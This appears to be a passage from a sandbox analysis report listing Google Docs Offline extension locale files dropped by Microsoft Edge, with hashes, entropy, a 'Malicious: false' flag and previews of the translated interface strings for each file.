Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
